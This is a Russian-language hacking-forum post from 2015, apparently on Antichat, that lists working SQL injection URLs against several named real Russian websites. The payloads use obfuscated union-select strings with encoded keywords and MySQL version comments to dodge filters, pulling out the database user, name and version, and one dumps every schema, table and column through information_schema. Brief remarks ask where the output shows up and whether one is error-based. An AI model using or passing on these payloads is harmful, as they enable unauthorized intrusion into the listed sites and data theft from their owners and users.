Уязвимости SQLi, XSS и другие.

#11

19.05.2015, 00:41

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//itccst.ru/news_view.php?id=19'+and+false+/*!12345%55%6e%69%4f%4e*/+/*!12345%73%65%6c%65%63%74*/2,user(),3,database(),5+'1#[/COLOR][/COLOR]

Код HTML:

http://www.matrot.ru/index.php?langue=2&page=M41H'+and+false+union+select 1,2,3,4,5/**/'1

что-то я догнать не могу, где вывод ((

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.keramir-iv.ru/discr.php?id=3'+and+false+union+select 1,database(),3,4,4,4,4,4,5,5,6,7,8,7,7,6,5,4,4,7/**/'1#[/COLOR][/COLOR]

этот error-base?

//можно крутить и как error и как union

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//diagnostika-plus.ru/index.php?page=dcatalog99'+%75%4e%49%4f%6e+%53%45%4c%65%63%74 1,2,database(),4,5/**/'1#[/COLOR][/COLOR]

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.spectehsnab.ru/index1.php?id=2+and+false+union+select+concat((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where
[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]0x696e666f726d6174696f6e5f736368656d61[/COLOR][COLOR="#007700"]) and  (@[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]in[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]:=[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"](@[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3c6c693e[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]0x203a3a20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]table_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x203a3a20[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]column_name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3c62723e[/COLOR][COLOR="#007700"]))))[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#FF8000"]#[/COLOR][/COLOR]

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.limo-pro.ru/services.php?id=34+union+select 1,version(),{f database()},4,5,user(),7,8#[/COLOR][/COLOR]

Спасибо парню, за статью))

Господа, я потом обединю в один пост , не ругайтесь